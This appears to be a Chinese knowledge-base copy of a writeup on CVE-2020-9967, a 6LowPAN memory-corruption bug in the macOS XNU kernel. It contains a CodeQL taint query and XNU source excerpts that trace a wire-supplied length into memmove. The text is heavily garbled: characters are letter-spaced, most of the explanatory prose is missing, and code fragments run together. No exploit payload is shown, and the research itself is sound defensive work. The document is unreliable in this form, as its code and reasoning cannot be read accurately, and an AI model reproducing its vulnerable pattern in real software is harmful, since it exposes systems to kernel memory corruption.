[20423] 2020-12-23_CVE-2020-9967-ApplemacOS6LowPAN漏洞

文档创建者:s7ckTeam
浏览次数:18
最后更新:2025-01-18
2020-12-23_CVE-2020-9967-ApplemacOS6LowPAN漏洞 C V E - 2 0 2 0 - 9 9 6 7 - A p p l e   m a c O S   6 L o w P A N A l e x   P l a s k e t t   K h a n   2 0 2 0 - 1 2 - 2 3                 K e v i n   B a c k h o u s e X N U C o d e Q L m a c O S   1 0 . 1 5 . 4 6 L o w P A N 2 0 2 0 5 1 1 C V E - 2 0 2 0 - 9 9 6 7 m a c O S   B i g   S u r 2 0 2 0 1 2 5 C V E                 X N U m b u f m b u f                 m _ m t o d s i n k   b u i l t i n _ _ _ m e m c p y _ c h k X N U b c o p y 使 b u i l d i n _ _ _ m e m m o v e _ c h k 1 5 C o d e Q L 6 L o w P A N 6 L o w P A N m a c O S   C a t a l i n a   1 0 . 1 5 x n u 6 L o w P A N   6 L o w P A N I E E E   8 0 2 . 1 5 . 4 x n u 6 L o w P A N     " I P v 6   o v e r   L o w - P o w e r   W i r e l e s s   P e r s o n a   A r e a   N e t w o r k s   "   I E E E   8 0 2 . 1 5 . 4   I P v 6   R F C R F C 4 9 4 4 R F C 6 2 8 2 R F C 6 7 7 5 I E E E   8 0 2 . 1 5 . 4 线 ( L R - W P A N ) L R - W P A N 6 L o w P A N 8 0 2 . 1 5 . 4 T h r e a d 6 L o w P A N 便 2 0 1 8 T h r e a d . . . . . . ) X N U f r a m e 8 0 2 1 5 4 . c 8 0 2 . 1 5 . 4 i f _ 6 l o w p a n . c 6 L o w P A N s i x l o w p a n . c 6 L o w P A N C o n t i k i   O S T h r e a d   H o m e P o d   m i n i i m p o r t   c p p i m p o r t   s e m m l e . c o d e . c p p . d a t a f l o w . T a i n t T r a c k i n g i m p o r t   D a t a F l o w : : P a t h G r a p h i m p o r t   s e m m l e . c o d e . c p p . r a n g e a n a l y s i s . S i m p l e R a n g e A n a l y s i s c l a s s   C o n f i g   e x t e n d s   T a i n t T r a c k i n g : : C o n f i g u r a t i o n   {     C o n f i g ( )   {   t h i s   =   " s i x l o w p a n _ f l o w "   }     o v e r r i d e   p r e d i c a t e   i s S o u r c e ( D a t a F l o w : : N o d e   s o u r c e )   {         s o u r c e . a s E x p r ( ) . ( F u n c t i o n C a l l ) . g e t T a r g e t ( ) . g e t N a m e ( )   =   " m _ m t o d "     }     o v e r r i d e   p r e d i c a t e   i s S i n k ( D a t a F l o w : : N o d e   s i n k )   {         e x i s t s   ( F u n c t i o n C a l l   c a l l         |   c a l l . g e t A r g u m e n t ( 2 )   =   s i n k . a s E x p r ( )   a n d             c a l l . g e t T a r g e t ( ) . g e t N a m e ( )   =   " _ _ b u i l t i n _ _ _ m e m m o v e _ c h k "   )     } } f r o m   C o n f i g   c f g ,   D a t a F l o w : : P a t h N o d e   s o u r c e ,   D a t a F l o w : : P a t h N o d e   s i n k w h e r e   c f g . h a s F l o w P a t h ( s o u r c e ,   s i n k ) s e l e c t   s i n k ,   s o u r c e ,   s i n k ,   " m e m m o v e   w i t h   t a i n t e d   s i z e . " c a l l   t o   m _ m t o d       i f _ 6 l o w p a n . c : 6 2 3 : 2 l e n       i f _ 6 l o w p a n . c : 6 6 3 : 4 1 r e f   a r g   &   . . .   [ p a y l o a d _ l e n ]       i f _ 6 l o w p a n . c : 6 6 3 : 4 6 &   . . .   [ p a y l o a d _ l e n ]       i f _ 6 l o w p a n . c : 6 6 6 : 1 9 i e e e 0 2 1 5 4 h d r   [ p a y l o a d _ l e n ]       s i x x l o w p a n . c : 8 8 2 : 3 8 i e e e 0 2 1 5 4 h d r   [ p a y l o a d _ l e n ]       s i x x l o w p a n . c : 8 8 6 : 3 2 i e e e 0 2 1 5 4 h d r   [ p a y l o a d _ l e n ]       s i x x l o w p a n . c : 8 1 9 : 4 3 i e e e 0 2 1 5 4 h d r   [ p a y l o a d _ l e n ]       s i x x l o w p a n . c : 8 5 5 : 7 p a y l o a d _ l e n       s i x x l o w p a n . c : 8 5 5 : 2 1 . . .   -   . . .       s i x x l o w p a n . c : 8 5 5 : 7
I E E E   8 0 2 . 1 5 . 4   2 ( M A C ) I E E E 8 0 2 . 1 5 . 4 - 2 0 1 5   " M A C   " 7 . 2 I P v 6   "   " X N U L o W P A N I P v 6 I E E E   8 0 2 . 1 5 . 4 I P v 6 M T U 使 I E E E   8 0 2 . 1 5 . 4 使 I P L o W P A N I P v 6 I P v 6 4 0 L O W P A N _ H C 1 I P v 6 6 L o w P A N 6 L o w P A N d e m u x i n t e t h e r _ d e m u x ( i f n e t _ t   i f p ,   m b u f _ t   m ,   c h a r   * f r a m e _ h e a d e r ,         p r o t o c o l _ f a m i l y _ t   * p r o t o c o l _ f a m i l y ) {     s t r u c t   e t h e r _ h e a d e r   * e h   =   ( s t r u c t   e t h e r _ h e a d e r   * ) ( v o i d   * ) f r a m e _ h e a d e r ;     u _ s h o r t     e t h e r _ t y p e   =   e h - > e t h e r _ t y p e ;     u _ i n t 1 6 _ t   t y p e ;     u _ i n t 8 _ t   * d a t a ;     u _ i n t 3 2 _ t   i   =   0 ;     s t r u c t   e t h e r _ d e s c _ b l k _ s t r   * d e s c _ b l k   =             ( s t r u c t   e t h e r _ d e s c _ b l k _ s t r   * ) i f p - > i f _ f a m i l y _ c o o k i e ;     u _ i n t 3 2 _ t   m a x d   =   d e s c _ b l k   ?   d e s c _ b l k - > n _ m a x _ u s e d   :   0 ;     s t r u c t   e n _ d e s c     * e d   =   d e s c _ b l k   ?   d e s c _ b l k - > b l o c k _ p t r   :   N U L L ;     u _ i n t 3 2 _ t   e x t P r o t o 1   =   0 ;     u _ i n t 3 2 _ t   e x t P r o t o 2   =   0 ;     i f   ( e h - > e t h e r _ d h o s t [ 0 ]   &   1 )   {         / *   C h e c k   f o r   b r o a d c a s t   * /         i f   ( _ e t h e r _ c m p ( e t h e r b r o a d c a s t a d d r ,   e h - > e t h e r _ d h o s t )   = =   0 )   {             m - > m _ f l a g s   | =   M _ B C A S T ;         }   e l s e   {             m - > m _ f l a g s   | =   M _ M C A S T ;         }     }     i f   ( m - > m _ f l a g s   &   M _ H A S F C S )   {         / *           *   I f   t h e   M _ H A S F C S   i s   s e t   b y   t h e   d r i v e r   w e   w a n t   t o   m a k e   s u r e           *   t h a t   w e   s t r i p   o f f   t h e   t r a i l i n g   F C S   d a t a   b e f o r e   h a n d i n g   i t           *   u p   t h e   s t a c k .           * /         m _ a d j ( m ,   - E T H E R _ C R C _ L E N ) ;
e t h e r n e t e t h e r _ t y p e E T H E R T Y P E _ I E E E 8 0 2 1 5 4 P F _ 8 0 2 1 5 4 6 l o w p a n f i x l o w p a n _ i n p u t 8 0 2 . 1 5 . 4                                 s i x l o w p a n _ i n p u t 8 0 2 . 1 5 . 4         m - > m _ f l a g s   & =   ~ M _ H A S F C S ;     }     i f   ( ( e h - > e t h e r _ d h o s t [ 0 ]   &   1 )   = =   0 )   {         / *           *   W h e n   t h e   d r i v e r   i s   p u t   i n t o   p r o m i s c u o u s   m o d e   w e   m a y   r e c e i v e           *   u n i c a s t   f r a m e s   t h a t   a r e   n o t   i n t e n d e d   f o r   o u r   i n t e r f a c e s .           *   T h e y   a r e   m a r k e d   h e r e   a s   b e i n g   p r o m i s c u o u s   s o   t h e   c a l l e r   m a y           *   d i s p o s e   o f   t h e m   a f t e r   p a s s i n g   t h e   p a c k e t s   t o   a n y   i n t e r f a c e           *   f i l t e r s .           * /         i f   ( _ e t h e r _ c m p ( e h - > e t h e r _ d h o s t ,   I F _ L L A D D R ( i f p ) ) )   {             m - > m _ f l a g s   | =   M _ P R O M I S C ;         }     }     / *   c h e c k   f o r   I E E E   8 0 2 . 1 5 . 4   * /     i f   ( e t h e r _ t y p e   = =   h t o n s ( E T H E R T Y P E _ I E E E 8 0 2 1 5 4 ) )   {         * p r o t o c o l _ f a m i l y   =   P F _ 8 0 2 1 5 4 ;         r e t u r n   0 ;     } / *   *   F u n c t i o n :   s i x l o w p a n _ a t t a c h _ p r o t o c o l   *   P u r p o s e :   *       A t t a c h   a   D L I L   p r o t o c o l   t o   t h e   i n t e r f a c e   *       T h e   e t h e r n e t   d e m u x   a c t u a l l y   s p e c i a l   c a s e s   8 0 2 . 1 5 . 4 .   *       T h e   d e m u x   h e r e   i s n ' t   u s e d .   T h e   d e m u x   w i l l   r e t u r n   P F _ 8 0 2 1 5 4   f o r   t h e   *       a p p r o p r i a t e   p a c k e t s   a n d   o u r   s i x l o w p a n _ i n p u t   f u n c t i o n   w i l l   b e   c a l l e d .   * / s t a t i c   i n t s i x l o w p a n _ a t t a c h _ p r o t o c o l ( s t r u c t   i f n e t   * i f p ) {     i n t           e r r o r ;     s t r u c t   i f n e t _ a t t a c h _ p r o t o _ p a r a m   r e g ;     b z e r o ( & r e g ,   s i z e o f ( r e g ) ) ;     r e g . i n p u t                         =   s i x l o w p a n _ i n p u t ;     r e g . d e t a c h e d                   =   s i x l o w p a n _ d e t a c h e d ;     e r r o r   =   i f n e t _ a t t a c h _ p r o t o c o l ( i f p ,   P F _ 8 0 2 1 5 4 ,   & r e g ) ;     i f   ( e r r o r )   {         p r i n t f ( " % s ( % s % d )   i f n e t _ a t t a c h _ p r o t o c o l   f a i l e d ,   % d n " ,                 _ _ f u n c _ _ ,   i f n e t _ n a m e ( i f p ) ,   i f n e t _ u n i t ( i f p ) ,   e r r o r ) ;     }     r e t u r n   e r r o r ; } / *   *   6 l o w p a n   i n p u t   r o u t i n e .   *   D e c a p s u l a t e   t h e   8 0 2 . 1 5 . 4   D a t a   F r a m e   *   H e a d e r   d e c o m p r e s s i o n   o n   t h e   p a y l o a d   *   P a s s   t h e   m b u f   t o   t h e   I P V 6   p r o t o c o l   s t a c k   u s i n g   p r o t o _ i n p u t ( )   * / s t a t i c   i n t s i x l o w p a n _ i n p u t ( i f n e t _ t   p ,   _ _ u n u s e d   p r o t o c o l _ f a m i l y _ t   p r o t o c o l ,         m b u f _ t   m ,   _ _ u n u s e d   c h a r   * f r a m e _ h e a d e r ) {     f r a m e 8 0 2 1 5 4 _ t             i e e e 0 2 1 5 4 h d r ;     u _ i n t 8 _ t                       * p a y l o a d   =   N U L L ;     i f 6 l p a n _ r e f                 i f l   =   N U L L ;     b p f _ p a c k e t _ f u n c         b p f _ f u n c ;     m b u f _ t   m c ,   m _ t e m p ;     i n t   o f f ,   e r r   =   0 ;     u _ i n t 1 6 _ t   l e n ;     / *   A l l o c a t e   a n   m b u f   c l u s t e r   f o r   t h e   8 0 2 . 1 5 . 4   f r a m e   a n d   u n c o m p r e s s e d   p a y l o a d   * /     m c   =   m _ g e t c l ( M _ W A I T O K ,   M T _ D A T A ,   M _ P K T H D R ) ;     i f   ( m c   = =   N U L L )   {         e r r   =   - 1 ;         g o t o   e r r _ o u t ;     }
m _ g e t c l 8 0 2 . 1 5 . 4 m b u f m c m b u f 2 0 4 8 M C L B Y T E S m b u f l e n m b u f   m m _ a d j m b u f 8 0 2 . 1 5 . 4 m b u f   m m b u f   m c m b u f l e n f r a m e 8 0 2 1 5 4 _ p a r s e m b u f m c     }     m e m c p y ( & l e n ,   m t o d ( m ,   u _ i n t 8 _ t   * ) ,   s i z e o f ( u _ i n t 1 6 _ t ) ) ;     l e n   =   n t o h s ( l e n ) ;                               / /   T h i s   i s   t h e   s i z e   r e a d   f r o m   t h e   f r a m e   o n   t h e   w i r e .       m _ a d j ( m ,   s i z e o f ( u _ i n t 1 6 _ t ) ) ;     / *   C o p y   t h e   c o m p r e s s e d   8 0 2 . 1 5 . 4   p a y l o a d   f r o m   s o u r c e   m b u f   t o   a l l o c a t e d   c l u s t e r   m b u f   * /     f o r   ( m _ t e m p   =   m ,   o f f   =   0 ;   m _ t e m p   ! =   N U L L ;   m _ t e m p   =   m _ t e m p - > m _ n e x t )   {         i f   ( m _ t e m p - > m _ l e n   >   0 )   {             m _ c o p y b a c k ( m c ,   o f f ,   m _ t e m p - > m _ l e n ,   m t o d ( m _ t e m p ,   v o i d   * ) ) ;             o f f   + =   m _ t e m p - > m _ l e n ;         }     }     p   =   p _ 6 l o w p a n _ i f n e t ;     m c - > m _ p k t h d r . r c v i f   =   p ;     s i x l o w p a n _ l o c k ( ) ;     i f l   =   i f n e t _ g e t _ i f 6 l p a n _ r e t a i n e d ( p ) ;     i f   ( i f l   = =   N U L L )   {         s i x l o w p a n _ u n l o c k ( ) ;         e r r   =   - 1 ;         g o t o   e r r _ o u t ;     }     i f   ( i f 6 l p a n _ f l a g s _ r e a d y ( i f l )   = =   0 )   {         i f 6 l p a n _ r e l e a s e ( i f l ) ;         s i x l o w p a n _ u n l o c k ( ) ;         e r r   =   - 1 ;         g o t o   e r r _ o u t ;     }     b p f _ f u n c   =   i f l - > i f 6 l p a n _ b p f _ i n p u t ;     s i x l o w p a n _ u n l o c k ( ) ;     i f 6 l p a n _ r e l e a s e ( i f l ) ;     i f   ( b p f _ f u n c )   {         b p f _ f u n c ( p ,   m c ) ;     }     / *   P a r s e   t h e   8 0 2 . 1 5 . 4   f r a m e   h e a d e r   * /     b z e r o ( & i e e e 0 2 1 5 4 h d r ,   s i z e o f ( i e e e 0 2 1 5 4 h d r ) ) ;     f r a m e 8 0 2 1 5 4 _ p a r s e ( m t o d ( m c ,   u i n t 8 _ t   * ) ,   l e n ,   & i e e e 0 2 1 5 4 h d r ,   & p a y l o a d ) ;     / *   X X X   A d d   c h e c k   f o r   y o u r   l i n k   l a y e r   a d d r e s s   b e i n g   d e s t   * /     s i x x l o w p a n _ i n p u t ( & i e e e 0 2 1 5 4 h d r ,   p a y l o a d ) ; / * - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - * / / * *   *       b r i e f   P a r s e s   a n   i n p u t   f r a m e .     S c a n s   t h e   i n p u t   f r a m e   t o   f i n d   e a c h   *       s e c t i o n ,   a n d   s t o r e s   t h e   i n f o r m a t i o n   o f   e a c h   s e c t i o n   i n   a   *       f r a m e 8 0 2 1 5 4 _ t   s t r u c t u r e .   *   *       p a r a m   d a t a   T h e   i n p u t   d a t a   f r o m   t h e   r a d i o   c h i p .   *       p a r a m   l e n   T h e   s i z e   o f   t h e   i n p u t   d a t a   *       p a r a m   p f   T h e   f r a m e 8 0 2 1 5 4 _ t   s t r u c t   t o   s t o r e   t h e   p a r s e d   f r a m e   i n f o r m a t i o n .   * / i n t f r a m e 8 0 2 1 5 4 _ p a r s e ( u i n t 8 _ t   * d a t a ,   i n t   l e n ,   f r a m e 8 0 2 1 5 4 _ t   * p f ,   u i n t 8 _ t   * * p a y l o a d ) {     u i n t 8 _ t   * p ;     f r a m e 8 0 2 1 5 4 _ f c f _ t   f c f ;     i n t   c ; # i f   L L S E C 8 0 2 1 5 4 _ U S E S _ E X P L I C I T _ K E Y S     u i n t 8 _ t   k e y _ i d _ m o d e ; # e n d i f   / *   L L S E C 8 0 2 1 5 4 _ U S E S _ E X P L I C I T _ K E Y S   * /
    i f   ( l e n   <   3 )   {         r e t u r n   0 ;     }     p   =   d a t a ;     / *   d e c o d e   t h e   F C F   * /     f c f . f r a m e _ t y p e   =   p [ 0 ]   &   7 ;     f c f . s e c u r i t y _ e n a b l e d   =   ( p [ 0 ]   > >   3 )   &   1 ;     f c f . f r a m e _ p e n d i n g   =   ( p [ 0 ]   > >   4 )   &   1 ;     f c f . a c k _ r e q u i r e d   =   ( p [ 0 ]   > >   5 )   &   1 ;     f c f . p a n i d _ c o m p r e s s i o n   =   ( p [ 0 ]   > >   6 )   &   1 ;     f c f . d e s t _ a d d r _ m o d e   =   ( p [ 1 ]   > >   2 )   &   3 ;     f c f . f r a m e _ v e r s i o n   =   ( p [ 1 ]   > >   4 )   &   3 ;     f c f . s r c _ a d d r _ m o d e   =   ( p [ 1 ]   > >   6 )   &   3 ;     / *   c o p y   f c f   a n d   s e q N u m   * /     m e m c p y ( & p f - > f c f ,   & f c f ,   s i z e o f ( f r a m e 8 0 2 1 5 4 _ f c f _ t ) ) ;     p f - > s e q   =   p [ 2 ] ;     p   + =   3 ;                                                           / *   S k i p   f i r s t   t h r e e   b y t e s   * /     / *   D e s t i n a t i o n   a d d r e s s ,   i f   a n y   * /     i f   ( f c f . d e s t _ a d d r _ m o d e )   {         / *   D e s t i n a t i o n   P A N   * /         p f - > d e s t _ p i d   =   p [ 0 ]   +   ( p [ 1 ]   < <   8 ) ;         p   + =   2 ;         / *   D e s t i n a t i o n   a d d r e s s   * /         / *           l   =   a d d r _ l e n ( f c f . d e s t _ a d d r _ m o d e ) ;   * /         / *           f o r ( c   =   0 ;   c   <   l ;   c + + )   {   * /         / *               p f - > d e s t _ a d d r . u 8 [ c ]   =   p [ l   -   c   -   1 ] ;   * /         / *           }   * /         / *           p   + =   l ;   * /         i f   ( f c f . d e s t _ a d d r _ m o d e   = =   F R A M E 8 0 2 1 5 4 _ S H O R T A D D R M O D E )   {             l i n k a d d r _ c o p y ( ( l i n k a d d r _ t   * ) ( u i n t p t r _ t ) & ( p f - > d e s t _ a d d r ) ,   & l i n k a d d r _ n u l l ) ;             p f - > d e s t _ a d d r [ 0 ]   =   p [ 1 ] ;             p f - > d e s t _ a d d r [ 1 ]   =   p [ 0 ] ;             p   + =   2 ;         }   e l s e   i f   ( f c f . d e s t _ a d d r _ m o d e   = =   F R A M E 8 0 2 1 5 4 _ L O N G A D D R M O D E )   {             f o r   ( c   =   0 ;   c   <   8 ;   c + + )   {                 p f - > d e s t _ a d d r [ c ]   =   p [ 7   -   c ] ;             }             p   + =   8 ;         }     }   e l s e   {         l i n k a d d r _ c o p y ( ( l i n k a d d r _ t   * ) ( u i n t p t r _ t ) & ( p f - > d e s t _ a d d r ) ,   & l i n k a d d r _ n u l l ) ;         p f - > d e s t _ p i d   =   0 ;     }     / *   S o u r c e   a d d r e s s ,   i f   a n y   * /     i f   ( f c f . s r c _ a d d r _ m o d e )   {         / *   S o u r c e   P A N   * /         i f   ( ! f c f . p a n i d _ c o m p r e s s i o n )   {             p f - > s r c _ p i d   =   p [ 0 ]   +   ( p [ 1 ]   < <   8 ) ;             p   + =   2 ;         }   e l s e   {             p f - > s r c _ p i d   =   p f - > d e s t _ p i d ;         }         / *   S o u r c e   a d d r e s s   * /         / *           l   =   a d d r _ l e n ( f c f . s r c _ a d d r _ m o d e ) ;   * /         / *           f o r ( c   =   0 ;   c   <   l ;   c + + )   {   * /         / *               p f - > s r c _ a d d r . u 8 [ c ]   =   p [ l   -   c   -   1 ] ;   * /         / *           }   * /         / *           p   + =   l ;   * /         i f   ( f c f . s r c _ a d d r _ m o d e   = =   F R A M E 8 0 2 1 5 4 _ S H O R T A D D R M O D E )   {             l i n k a d d r _ c o p y ( ( l i n k a d d r _ t   * ) ( u i n t p t r _ t ) & ( p f - > s r c _ a d d r ) ,   & l i n k a d d r _ n u l l ) ;             p f - > s r c _ a d d r [ 0 ]   =   p [ 1 ] ;             p f - > s r c _ a d d r [ 1 ]   =   p [ 0 ] ;             p   + =   2 ;         }   e l s e   i f   ( f c f . s r c _ a d d r _ m o d e   = =   F R A M E 8 0 2 1 5 4 _ L O N G A D D R M O D E )   {             f o r   ( c   =   0 ;   c   <   8 ;   c + + )   {                 p f - > s r c _ a d d r [ c ]   =   p [ 7   -   c ] ;             }             p   + =   8 ;         }     }   e l s e   {         l i n k a d d r _ c o p y ( ( l i n k a d d r _ t   * ) ( u i n t p t r _ t ) & ( p f - > s r c _ a d d r ) ,   & l i n k a d d r _ n u l l ) ;         p f - > s r c _ p i d   =   0 ;
l e n < 3 0 p a y l o a d N U L L f r a m e 8 0 2 1 5 4 _ p a r s e > l e n 0 - 0 x f f f f 使 p f - > p a y l o a d _ l e n ( - h e a d e r _ l e n ) m c     } # i f   L L S E C 8 0 2 1 5 4 _ S E C U R I T Y _ L E V E L     i f   ( f c f . s e c u r i t y _ e n a b l e d )   {         p f - > a u x _ h d r . s e c u r i t y _ c o n t r o l . s e c u r i t y _ l e v e l   =   p [ 0 ]   &   7 ; # i f   L L S E C 8 0 2 1 5 4 _ U S E S _ E X P L I C I T _ K E Y S         p f - > a u x _ h d r . s e c u r i t y _ c o n t r o l . k e y _ i d _ m o d e   =   ( p [ 0 ]   > >   3 )   &   3 ; # e n d i f   / *   L L S E C 8 0 2 1 5 4 _ U S E S _ E X P L I C I T _ K E Y S   * /         p   + =   1 ;         m e m c p y ( p f - > a u x _ h d r . f r a m e _ c o u n t e r . u 8 ,   p ,   4 ) ;         p   + =   4 ; # i f   L L S E C 8 0 2 1 5 4 _ U S E S _ E X P L I C I T _ K E Y S         k e y _ i d _ m o d e   =   p f - > a u x _ h d r . s e c u r i t y _ c o n t r o l . k e y _ i d _ m o d e ;         i f   ( k e y _ i d _ m o d e )   {             c   =   ( k e y _ i d _ m o d e   -   1 )   *   4 ;             m e m c p y ( p f - > a u x _ h d r . k e y _ s o u r c e . u 8 ,   p ,   c ) ;             p   + =   c ;             p f - > a u x _ h d r . k e y _ i n d e x   =   p [ 0 ] ;             p   + =   1 ;         } # e n d i f   / *   L L S E C 8 0 2 1 5 4 _ U S E S _ E X P L I C I T _ K E Y S   * /     } # e n d i f   / *   L L S E C 8 0 2 1 5 4 _ S E C U R I T Y _ L E V E L   * /     / *   h e a d e r   l e n g t h   * /     c   =   p   -   d a t a ;     / *   p a y l o a d   l e n g t h   * /     p f - > p a y l o a d _ l e n   =   ( l e n   -   c ) ;     / *   p a y l o a d   * /     * p a y l o a d   =   p ;     / *   r e t u r n   h e a d e r   l e n g t h   i f   s u c c e s s f u l   * /     r e t u r n   c   >   l e n   ?   0   :   c ; } / * *   b r i e f   P a r a m e t e r s   u s e d   b y   t h e   f r a m e 8 0 2 1 5 4 _ c r e a t e ( )   f u n c t i o n .     T h e s e   *     p a r a m e t e r s   a r e   u s e d   i n   t h e   8 0 2 . 1 5 . 4   f r a m e   h e a d e r .     S e e   t h e   8 0 2 . 1 5 . 4   *     s p e c i f i c a t i o n   f o r   d e t a i l s .   * / s t r u c t   f r a m e 8 0 2 1 5 4   {     / *   T h e   f i e l d s   d e s t _ a d d r   a n d   s r c _ a d d r   m u s t   c o m e   f i r s t   t o   e n s u r e   t h e y   a r e   a l i g n e d   t o   t h e       *   C P U   w o r d   s i z e .   N e e d e d   a s   t h e y   a r e   a c c e s s e d   d i r e c t l y   a s   l i n k a d d r _ t * .   N o t e   w e   c a n n o t   u s e       *   t h e   t y p e   l i n k a d d r _ t   d i r e c t l y   h e r e ,   a s   w e   a l w a y s   n e e d   8   b y t e s ,   n o t   L I N K A D D R _ S I Z E   b y t e s .   * /     u i n t 8 _ t   d e s t _ a d d r [ 8 ] ;                       / * * <   D e s t i n a t i o n   a d d r e s s   * /     u i n t 8 _ t   s r c _ a d d r [ 8 ] ;                         / * * <   S o u r c e   a d d r e s s   * /     f r a m e 8 0 2 1 5 4 _ f c f _ t   f c f ;                     / * * <   F r a m e   c o n t r o l   f i e l d     * /     u i n t 8 _ t   s e q ;                                         / * * <   S e q u e n c e   n u m b e r   * /     u i n t 1 6 _ t   d e s t _ p i d ;                             / * * <   D e s t i n a t i o n   P A N   I D   * /     u i n t 1 6 _ t   s r c _ p i d ;                               / * * <   S o u r c e   P A N   I D   * /     f r a m e 8 0 2 1 5 4 _ a u x _ h d r _ t   a u x _ h d r ;     / * * <   A u x   s e c u r i t y   h e a d e r   * /     / / u i n t 8 _ t   * p a y l o a d ;                               / * * <   P o i n t e r   t o   8 0 2 . 1 5 . 4   p a y l o a d   * /     i n t   p a y l o a d _ l e n ;                                 / * * <   L e n g t h   o f   p a y l o a d   f i e l d   * / } ; t y p e d e f   s t r u c t   f r a m e 8 0 2 1 5 4   f r a m e 8 0 2 1 5 4 _ t ; e r r n o _ t s i x x l o w p a n _ i n p u t ( s t r u c t   f r a m e 8 0 2 1 5 4   * i e e e 0 2 1 5 4 h d r ,   u _ i n t 8 _ t   * p a y l o a d ) {     e r r n o _ t   e r r o r   =   0 ;     e r r o r   =   s i x x l o w p a n _ u n c o m p r e s s ( i e e e 0 2 1 5 4 h d r ,   p a y l o a d ) ;     i f   ( e r r o r   ! =   0 )   {         g o t o   d o n e ;     }     / *       *   T O   D O :   f r a g m e n t a t i o n       * /
d o n e :     r e t u r n   e r r o r ; } e r r n o _ t s i x x l o w p a n _ u n c o m p r e s s ( s t r u c t   f r a m e 8 0 2 1 5 4   * i e e e 0 2 1 5 4 h d r ,   u _ i n t 8 _ t   * p a y l o a d ) {     l o n g   h d r o f f s e t ;     s i z e _ t   h d r l e n ;     u _ i n t 8 _ t   h d r b u f [ 1 2 8 ] ;     e r r n o _ t   e r r o r ;     b z e r o ( h d r b u f ,   s i z e o f ( h d r b u f ) ) ;     h d r l e n   =   s i z e o f ( h d r b u f ) ;     e r r o r   =   u n c o m p r e s s _ h d r _ h c 1 ( i e e e 0 2 1 5 4 h d r ,   ( u _ i n t 8 _ t   * ) p a y l o a d ,             0 ,   & h d r o f f s e t ,   & h d r l e n ,   h d r b u f ) ;     i f   ( e r r o r   ! =   0 )   {         r e t u r n   e r r o r ;     }     i f   ( h d r o f f s e t   <   0 )   {         / *           *   h d r o f f s e t   n e g a t i v e   m e a n s   t h a t   w e   h a v e   t o   r e m o v e           *   h d r l e n   o f   e x t r a   s t u f f           * /         m e m m o v e ( & p a y l o a d [ 0 ] ,                 & p a y l o a d [ h d r l e n ] ,                 i e e e 0 2 1 5 4 h d r - > p a y l o a d _ l e n   -   h d r l e n ) ;         i e e e 0 2 1 5 4 h d r - > p a y l o a d _ l e n   - =   h d r l e n ;     }   e l s e   {         / *           *   h d r o f f s e t   i s   t h e   s i z e   o f   t h e   c o m p r e s s e d   h e a d e r           *   - -   i . e .   w h e n   t h e   u n t o u c h e d   d a t a   s t a r t s           *           *   h d r l e n   i s   t h e   s i z e   o f   t h e   d e c o m p r e s s e d   h e a d e r           *   t h a t   t a k e s   t h e   p l a c e   o f   c o m p r e s s e d   h e a d e r   o f   s i z e   h d r o f f s e t           * /         m e m m o v e ( p a y l o a d   +   h d r l e n ,                 p a y l o a d   +   h d r o f f s e t ,                 i e e e 0 2 1 5 4 h d r - > p a y l o a d _ l e n   -   h d r o f f s e t ) ;         m e m c p y ( p a y l o a d ,   h d r b u f ,   h d r l e n ) ;         i e e e 0 2 1 5 4 h d r - > p a y l o a d _ l e n   + =   h d r l e n   -   h d r o f f s e t ;     }     r e t u r n   0 ; } / * - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - * / / * *   *   b r i e f   U n c o m p r e s s   H C 1   ( a n d   H C _ U D P )   h e a d e r s   a n d   p u t   t h e m   i n   *   s i c s l o w p a n _ b u f   *   *   T h i s   f u n c t i o n   i s   c a l l e d   b y   t h e   i n p u t   f u n c t i o n   w h e n   t h e   d i s p a t c h   i s   *   H C 1 .   *   W e   % p r o c e s s   t h e   p a c k e t   i n   t h e   p a c k e t b u f   b u f f e r ,   u n c o m p r e s s   t h e   h e a d e r   *   f i e l d s ,   a n d   c o p y   t h e   r e s u l t   i n   t h e   s i c s l o w p a n   b u f f e r .   *   A t   t h e   e n d   o f   t h e   d e c o m p r e s s i o n ,   p a c k e t b u f _ h d r _ l e n   a n d   u n c o m p r e s s e d _ h d r _ l e n   *   a r e   s e t   t o   t h e   a p p r o p r i a t e   v a l u e s   *   *   p a r a m   i p _ l e n   E q u a l   t o   0   i f   t h e   p a c k e t   i s   n o t   a   f r a g m e n t   ( I P   l e n g t h   *   i s   t h e n   i n f e r r e d   f r o m   t h e   L 2   l e n g t h ) ,   n o n   0   i f   t h e   p a c k e t   i s   a   1 s t   *   f r a g m e n t .   * / e r r n o _ t u n c o m p r e s s _ h d r _ h c 1 ( s t r u c t   f r a m e 8 0 2 1 5 4   * f r a m e ,   u _ i n t 8 _ t   * p a y l o a d ,         u i n t 1 6 _ t   i p _ l e n ,   l o n g   * h d r o f f s e t ,   s i z e _ t   * h d r l e n ,   u _ i n t 8 _ t   * h d r b u f ) {     s t r u c t   i p 6 _ h d r   * i p 6   =   ( s t r u c t   i p 6 _ h d r   * ) h d r b u f ;     i f   ( p a y l o a d [ P A C K E T B U F _ H C 1 _ D I S P A T C H ]   = =   S I C S L O W P A N _ D I S P A T C H _ I P V 6 )   {         * h d r o f f s e t   =   - S I C S L O W P A N _ I P V 6 _ H D R _ L E N ;         * h d r l e n   =   S I C S L O W P A N _ I P V 6 _ H D R _ L E N ;         r e t u r n   0 ;
    }     * h d r o f f s e t   =   0 ;     / *   v e r s i o n ,   t r a f f i c   c l a s s ,   f l o w   l a b e l   * /     i p 6 - > i p 6 _ f l o w   =   0 ;     i p 6 - > i p 6 _ v f c   =   I P V 6 _ V E R S I O N ;     / *   s r c   a n d   d e s t   i p   a d d r e s s e s   * /     u i p _ i p 6 a d d r _ u 8 ( & i p 6 - > i p 6 _ s r c ,   0 x f e ,   0 x 8 0 ,   0 ,   0 ,   0 ,   0 ,   0 ,   0 ,   0 ,   0 ,   0 ,   0 ,   0 ,   0 ,   0 ,   0 ) ;     u i p _ d s 6 _ s e t _ a d d r _ i i d ( & i p 6 - > i p 6 _ s r c ,             ( u i p _ l l a d d r _ t   * ) f r a m e - > s r c _ a d d r ) ;     u i p _ i p 6 a d d r _ u 8 ( & i p 6 - > i p 6 _ d s t ,   0 x f e ,   0 x 8 0 ,   0 ,   0 ,   0 ,   0 ,   0 ,   0 ,   0 ,   0 ,   0 ,   0 ,   0 ,   0 ,   0 ,   0 ) ;     u i p _ d s 6 _ s e t _ a d d r _ i i d ( & i p 6 - > i p 6 _ d s t ,             ( u i p _ l l a d d r _ t   * ) f r a m e - > d e s t _ a d d r 